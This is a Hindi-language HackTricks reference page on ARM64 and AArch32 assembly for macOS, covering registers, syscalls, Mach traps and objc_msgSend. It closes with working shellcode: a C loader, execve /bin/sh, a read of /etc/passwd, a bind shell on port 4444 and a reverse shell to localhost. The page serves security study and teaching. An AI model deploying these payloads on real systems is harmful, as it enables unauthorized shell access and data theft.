- लिंक रजिस्टर और फ्रेम पॉइंटर को स्टैक में सहेजें:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- नया फ्रेम पॉइंटर सेट करें:
mov x29, sp
(वर्तमान फ़ंक्शन के लिए नया फ्रेम पॉइंटर सेट करता है) - स्थानीय चर के लिए स्टैक पर स्थान आवंटित करें (यदि आवश्यक हो):
sub sp, sp, <size>
(जहाँ<size>
आवश्यक बाइट्स की संख्या है)
फ़ंक्शन एपिलॉग
- स्थानीय चर को डिआलॉकेट करें (यदि कोई आवंटित किया गया हो):
add sp, sp, <size>
- लिंक रजिस्टर और फ्रेम पॉइंटर को पुनर्स्थापित करें:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret
(कॉलर को लिंक रजिस्टर में पते का उपयोग करके नियंत्रण लौटाता है)
AARCH32 निष्पादन स्थिति
Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। AArch32 A32
और T32
के दो निर्देश सेटों में से एक में चल सकता है और interworking
के माध्यम से उनके बीच स्विच कर सकता है।
Privileged 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के निष्पादन को निम्नलिखित विशेषाधिकार 32-बिट में अपवाद स्तर स्थानांतरण को निष्पादित करके शेड्यूल कर सकते हैं।
ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निम्न स्तर के साथ होता है (उदाहरण के लिए, EL1 में 64-बिट प्रोग्राम EL0 में प्रोग्राम को ट्रिगर करता है)। यह तब किया जाता है जब AArch32
प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और SPSR_ELx
विशेष रजिस्टर के बिट 4 को 1 पर सेट किया जाता है और SPSR_ELx
का शेष भाग AArch32
प्रोग्रामों का CPSR संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया ERET
निर्देश को कॉल करती है ताकि प्रोसेसर AArch32
में संक्रमण कर सके, A32 या T32 में प्रवेश करते हुए CPSR** के आधार पर।**
interworking
CPSR के J और T बिट्स का उपयोग करके होता है। J=0
और T=0
का अर्थ है A32
और J=0
और T=1
का अर्थ है T32। यह मूल रूप से सबसे निचले बिट को 1 पर सेट करने का संकेत देता है कि निर्देश सेट T32 है।
यह interworking शाखा निर्देशों के दौरान सेट किया जाता है, लेकिन जब PC को गंतव्य रजिस्टर के रूप में सेट किया जाता है तो इसे अन्य निर्देशों के साथ सीधे भी सेट किया जा सकता है। उदाहरण:
एक और उदाहरण:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
रजिस्टर
16 32-बिट रजिस्टर हैं (r0-r15)। r0 से r14 का उपयोग किसी भी ऑपरेशन के लिए किया जा सकता है, हालाँकि इनमें से कुछ आमतौर पर आरक्षित होते हैं:
r15
: प्रोग्राम काउंटर (हमेशा)। अगले निर्देश का पता रखता है। A32 में वर्तमान + 8, T32 में, वर्तमान + 4।r11
: फ्रेम पॉइंटरr12
: इंट्रा-प्रोसीजरल कॉल रजिस्टरr13
: स्टैक पॉइंटरr14
: लिंक रजिस्टर
इसके अलावा, रजिस्टर बैंक्ड रजिस्ट्रियों
में बैकअप होते हैं। ये ऐसे स्थान हैं जो रजिस्टर के मानों को संग्रहीत करते हैं जिससे तेज़ संदर्भ स्विचिंग को सक्षम किया जा सके, अपवाद प्रबंधन और विशेषाधिकार प्राप्त ऑपरेशनों में, हर बार मैन्युअल रूप से रजिस्टर को सहेजने और पुनर्स्थापित करने की आवश्यकता से बचने के लिए।
यह CPSR
से प्रोसेसर मोड के SPSR
में प्रोसेसर की स्थिति को सहेजकर किया जाता है, जिस पर अपवाद लिया जाता है। अपवाद लौटने पर, CPSR
को SPSR
से पुनर्स्थापित किया जाता है।
CPSR - वर्तमान प्रोग्राम स्थिति रजिस्टर
AArch32 में CPSR AArch64 में PSTATE
के समान काम करता है और इसे अपवाद लिए जाने पर बाद में निष्पादन को पुनर्स्थापित करने के लिए SPSR_ELx
में भी संग्रहीत किया जाता है:
.png)
फील्ड कुछ समूहों में विभाजित हैं:
- एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR): अंकगणितीय ध्वज और EL0 से सुलभ
- निष्पादन स्थिति रजिस्टर: प्रक्रिया का व्यवहार (OS द्वारा प्रबंधित)।
एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR)
N
,Z
,C
,V
ध्वज (AArch64 की तरह ही)Q
ध्वज: इसे 1 पर सेट किया जाता है जब भी पूर्णांक संतृप्ति होती है विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार इसे1
पर सेट करने के बाद, यह मान बनाए रखेगा जब तक इसे मैन्युअल रूप से 0 पर सेट नहीं किया जाता। इसके अलावा, कोई ऐसा निर्देश नहीं है जो इसके मान की जांच करता है, इसे मैन्युअल रूप से पढ़कर करना होगा।GE
(बड़ा या समान) ध्वज: इसका उपयोग SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) ऑपरेशनों में किया जाता है, जैसे "समानांतर जोड़" और "समानांतर घटाना"। ये ऑपरेशन एक ही निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं।
उदाहरण के लिए, UADD8
निर्देश चार जोड़े बाइट्स (दो 32-बिट ऑपरेन्ड से) को समानांतर में जोड़ता है और परिणामों को 32-बिट रजिस्टर में संग्रहीत करता है। फिर यह APSR
में इन परिणामों के आधार पर GE
ध्वज सेट करता है। प्रत्येक GE ध्वज एक बाइट जोड़ के लिए संबंधित होता है, यह दर्शाते हुए कि उस बाइट जोड़े के लिए जोड़ ओवरफ्लो हुआ या नहीं।
SEL
निर्देश इन GE ध्वजों का उपयोग करके शर्तीय क्रियाएँ करता है।
निष्पादन स्थिति रजिस्टर
J
औरT
बिट्स:J
0 होना चाहिए और यदिT
0 है तो A32 निर्देश सेट का उपयोग किया जाता है, और यदि यह 1 है, तो T32 का उपयोग किया जाता है।- IT ब्लॉक स्थिति रजिस्टर (
ITSTATE
): ये 10-15 और 25-26 से बिट्स हैं। येIT
प्रीफिक्स समूह के भीतर निर्देशों के लिए शर्तें संग्रहीत करते हैं। E
बिट: एंडियननेस को दर्शाता है।- मोड और अपवाद मास्क बिट्स (0-4): ये वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। 5वां यह दर्शाता है कि प्रोग्राम 32-बिट (1) या 64-बिट (0) के रूप में चल रहा है। अन्य 4 वर्तमान में उपयोग किए जा रहे अपवाद मोड का प्रतिनिधित्व करते हैं (जब कोई अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया संख्या इसकी प्राथमिकता को दर्शाता है यदि इस समय एक और अपवाद उत्पन्न होता है जबकि इसे संभाला जा रहा है।
.png)
AIF
: कुछ अपवादों कोA
,I
,F
बिट्स का उपयोग करके अक्षम किया जा सकता है। यदिA
1 है तो इसका मतलब है कि असिंक्रोनस एबॉर्ट्स उत्पन्न होंगे।I
बाहरी हार्डवेयर इंटरप्ट रिक्वेस्ट्स (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F फास्ट इंटरप्ट रिक्वेस्ट्स (FIRs) से संबंधित है।
macOS
BSD सिस्टम कॉल
syscalls.master पर जाएं। BSD सिस्टम कॉल में x16 > 0 होगा।
मच ट्रैप्स
syscall_sw.c में mach_trap_table
और mach_traps.h में प्रोटोटाइप देखें। मच ट्रैप्स की अधिकतम संख्या MACH_TRAP_TABLE_COUNT
= 128 है। मच ट्रैप्स में x16 < 0 होगा, इसलिए आपको पिछले सूची से नंबरों को माइनस के साथ कॉल करना होगा: _kernelrpc_mach_vm_allocate_trap
-10
है।
आप libsystem_kernel.dylib
को डिसअसेंबलर में भी देख सकते हैं यह जानने के लिए कि इन (और BSD) सिस्टम कॉल को कैसे कॉल किया जाए:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
ध्यान दें कि Ida और Ghidra कैश से विशिष्ट dylibs को केवल कैश पास करके भी डिकंपाइल कर सकते हैं।
tip
कभी-कभी libsystem_kernel.dylib
से डिकंपाइल किया गया कोड जांचना स्रोत कोड की तुलना में आसान होता है क्योंकि कई सिस्टम कॉल (BSD और Mach) का कोड स्क्रिप्ट के माध्यम से उत्पन्न होता है (स्रोत कोड में टिप्पणियाँ देखें) जबकि dylib में आप देख सकते हैं कि क्या कॉल किया जा रहा है।
machdep कॉल
XNU एक और प्रकार के कॉल का समर्थन करता है जिसे मशीन निर्भर कहा जाता है। इन कॉल की संख्या आर्किटेक्चर पर निर्भर करती है और न तो कॉल और न ही संख्या स्थिर रहने की गारंटी है।
comm पृष्ठ
यह एक कर्नेल मालिक मेमोरी पृष्ठ है जो हर उपयोगकर्ता प्रक्रिया के पते के स्केप में मैप किया गया है। इसका उद्देश्य उपयोगकर्ता मोड से कर्नेल स्पेस में संक्रमण को तेज करना है, ताकि कर्नेल सेवाओं के लिए सिस्टम कॉल का उपयोग करने की तुलना में यह संक्रमण बहुत अप्रभावी न हो।
उदाहरण के लिए, कॉल gettimeofdate
सीधे comm पृष्ठ से timeval
का मान पढ़ता है।
objc_msgSend
यह फ़ंक्शन Objective-C या Swift प्रोग्रामों में उपयोग में लाना बहुत सामान्य है। यह फ़ंक्शन एक Objective-C ऑब्जेक्ट के एक मेथड को कॉल करने की अनुमति देता है।
पैरामीटर (दस्तावेज़ में अधिक जानकारी):
- x0: self -> उदाहरण का पॉइंटर
- x1: op -> मेथड का चयनकर्ता
- x2... -> कॉल किए गए मेथड के शेष तर्क
तो, यदि आप इस फ़ंक्शन की शाखा से पहले ब्रेकपॉइंट लगाते हैं, तो आप आसानी से lldb में देख सकते हैं कि क्या कॉल किया जा रहा है (इस उदाहरण में ऑब्जेक्ट NSConcreteTask
से एक ऑब्जेक्ट को कॉल करता है जो एक कमांड चलाएगा):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
env वेरिएबल NSObjCMessageLoggingEnabled=1
सेट करने से यह लॉग करना संभव है कि यह फ़ंक्शन कब कॉल किया गया है, जैसे कि फ़ाइल /tmp/msgSends-pid
में।
इसके अलावा, OBJC_HELP=1
सेट करने और किसी भी बाइनरी को कॉल करने पर आप अन्य वातावरण वेरिएबल देख सकते हैं जिन्हें आप log करने के लिए उपयोग कर सकते हैं जब कुछ Objc-C क्रियाएँ होती हैं।
जब यह फ़ंक्शन कॉल किया जाता है, तो निर्दिष्ट उदाहरण के कॉल किए गए तरीके को ढूंढना आवश्यक है, इसके लिए विभिन्न खोजें की जाती हैं:
- आशावादी कैश लुकअप करें:
- यदि सफल, तो समाप्त
- runtimeLock (पढ़ें) प्राप्त करें
- यदि (realize && !cls->realized) क्लास को realize करें
- यदि (initialize && !cls->initialized) क्लास को initialize करें
- क्लास की अपनी कैश को आजमाएं:
- यदि सफल, तो समाप्त
- क्लास मेथड सूची को आजमाएं:
- यदि पाया गया, तो कैश भरें और समाप्त
- सुपरक्लास कैश को आजमाएं:
- यदि सफल, तो समाप्त
- सुपरक्लास मेथड सूची को आजमाएं:
- यदि पाया गया, तो कैश भरें और समाप्त
- यदि (resolver) मेथड रिसॉल्वर को आजमाएं, और क्लास लुकअप से दोहराएं
- यदि अभी भी यहाँ हैं (= सभी अन्य विफल हो गए हैं) तो फॉरवर्डर को आजमाएं
Shellcodes
संकलन करने के लिए:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
बाइट्स निकालने के लिए:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
नए macOS के लिए:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
शेलकोड का परीक्षण करने के लिए C कोड
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
शेल
यहाँ से लिया गया और समझाया गया।
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
कैट के साथ पढ़ें
लक्ष्य है execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
को निष्पादित करना, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों का एक स्टैक है)।
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
एक फोर्क से sh के साथ कमांड को इनवोक करें ताकि मुख्य प्रक्रिया समाप्त न हो सके
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell from https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s in पोर्ट 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
रिवर्स शेल
From https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell to 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।